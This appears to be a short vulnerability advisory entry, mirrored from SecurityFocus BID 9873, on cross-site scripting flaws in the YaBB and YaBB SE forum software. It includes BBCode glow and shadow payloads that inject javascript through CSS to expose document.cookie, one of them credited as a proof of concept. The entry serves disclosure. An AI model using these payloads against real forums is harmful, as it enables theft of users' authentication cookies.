12 lines
No EOL
724 B
Text
12 lines
No EOL
724 B
Text
source: https://www.securityfocus.com/bid/9873/info
|
|
|
|
It has been reported that YaBB and YaBB SE are prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the applications to properly validate URI supplied user input.
|
|
|
|
Attackers may exploit this vulnerability to steal authentication credentials. Other attacks may also be possible.
|
|
|
|
[glow=red);background:url(javascript:alert(document.cookie));filter:glow(color=red,2,300]Big Exploit[/glow]
|
|
|
|
[shadow=red);background:url(javascript:alert(document.cookie));filter:shadow(color=red,left,300]Big Exploit[/shadow]
|
|
|
|
The following proof of concept has been supplied by frog-m@n:
|
|
[glow=red,2);background:url(javascript:[SCRIPT],300]text[/glow] |